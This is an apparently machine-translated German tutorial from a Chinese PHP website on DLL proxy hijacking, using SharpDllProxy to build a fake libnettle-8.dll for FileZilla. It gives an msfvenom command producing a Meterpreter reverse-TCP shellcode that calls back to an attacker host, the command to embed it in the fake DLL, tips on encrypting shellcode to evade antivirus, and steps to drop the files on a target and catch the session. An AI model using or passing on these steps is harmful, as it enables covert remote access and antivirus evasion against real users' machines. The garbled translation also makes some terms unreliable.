Heim >Betrieb und Instandhaltung >Sicherheit >So führen Sie eine DLL-Proxy-Weiterleitung und eine Weiquan-Analyse durch
DLL-Hijacking
Nach der Windows 7-Version verwendet das System KnowDLLs zum Verwalten von DLLs, die sich unter der Registrierung HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSession ManagerKnownDLLs befinden kann nur aus dem Systemverzeichnis (System32) aufgerufen werden. Der Grund für das DLL-Hijacking liegt darin, dass nicht alle DLLs in die Registrierung geschrieben werden.
Verwenden Sie die von msfvenom generierte DLL, um direkt zu töten.
SharpDllProxy
Der Name klingt, als wäre er wahrscheinlich einem Socken-Proxy ähnlich. Tool-Quelle von: https://redteaming.co.uk/2020/07/12/dll-proxy-loading-your-favorite-c-implant/. Informationen zur spezifischen Implementierung finden Sie auch im Blog dieses Chefs.
Vorwort
Verstehen Sie zunächst das Funktionsprinzip der dynamischen Linkbibliothek. Wenn Anwendung A die Funktion GetFunkyData() in der Dynamic Link Library DataFunctions.dll verwenden möchte, muss sie die Dynamic Link Library DataFunctions.dll laden. Dieses Tool basiert auf dieser Überlegung. Es erstellt eine dynamische Linkbibliothek mit demselben Namen wie DataFunction.dll. Es verfügt über zwei Funktionen: ① Erstellen Sie eine Tastenkombination, um alle Funktionen an die echte dynamische Linkbibliothek DataFunctions.dll weiterzuleiten der Ursprung des Proxys im Namen; ② Schreiben Sie Shellcode in diese gefälschte DataFunctions.dll. Im Anhang finden Sie das Originalbild des Autors:
Experimenteller Prozess
Zielprogramm
Es hat einige Zeit gedauert, dieses Experiment durchzuführen. Wie findet man beispielsweise bei der FileZilla-Software die DLL, die geladen werden muss? Wie der Autor sagte: Kopieren Sie die Software und Sie werden wissen, was ihr fehlt. Wie folgt:
Das bedeutet, dass die DLL-Datei geladen werden muss, um die Anwendung auszuführen. Erstellen Sie also eine gefälschte libnettle-8.dll für diese DLL.
Shellcode generieren
<br>
<br>
msfvenom -a x64 -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.124.29 LPORT=4444 -f raw > shell.bin
Das Experiment beginnt
Erster Download von SharpDllProxy: https: / / github.com/Flangvik/SharpDllProxy, und verwenden Sie dann Visual Studio 2019 zum Kompilieren, da ich seit langem Visual Studio 2017 verwendet und verschiedene Fehler gemeldet habe.
Verwenden Sie SharpDllProxy direkt unter vs, um die Datei zu öffnen -> Lösung generieren
Verwenden Sie SharpDllProxy.dll, um eine gefälschte libnettle-8.dll-Datei zu erstellen. Platzieren Sie „shell.bin“ und die DLL, die gefälscht werden muss, in der Datei im Bild oben. Führen Sie den folgenden Befehl aus: .SharpDllProxy.exe --dll libnettle-8.dll --payload shell.bin
Die generierte Datei enthält eine C-Datei und eine DLL. Diese DLL-Datei ist die ursprüngliche libnettle-8.dll-Datei.
Lassen Sie uns dieses C-Sprachprogramm analysieren. Von Zeile 9 bis Zeile 494 werden alle Funktionen, die ausgeführt werden müssen, an die ursprüngliche DLL weitergeleitet.
In Zeile 497 haben wir den Shellcode eingefügt. Dies ist der einzige Schlüsselcode. Tatsächlich können Sie den Shellcode „shell.bin“ auch direkt in die Datei schreiben, wodurch die Anzahl verdächtiger Dateien verringert wird. Hier lesen und führen wir den Shellcode im Binärmodus durch die VirtualAlloc-Speicheroperation aus. An diesem Punkt können Sie wie ein Tiger agieren und verschiedene Anti-Kill-Haltungen verwenden, z. B. die Lademethode ändern, z. B. zuerst den Shellcode verschlüsseln und ihn dann zum Ausführen entschlüsseln.
Verwenden Sie VS, um die obige C-Datei zu kompilieren. Wählen Sie im Menü „Datei“ die Option „Neu“ aus, wählen Sie dann „Dynamic Link Library Project“ aus und nennen Sie das Projekt „libnettle-8“. Kopieren Sie den obigen C-Dateicode zum Kompilieren in VS
Senden Sie die oben genannten drei Dateien (tmpD475.dll, libnettle-8.dll, shell.bin) an das Zielsystem. Verwenden Sie msf zum Abhören und führen Sie dann das Programm aus, um zur Sitzung zurückzukehren.
Bei Verwendung der am häufigsten verwendeten Antivirensoftware: 360, Tinder und Safe Manager wurden nicht erkannt.
Das obige ist der detaillierte Inhalt vonSo führen Sie eine DLL-Proxy-Weiterleitung und eine Weiquan-Analyse durch. Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!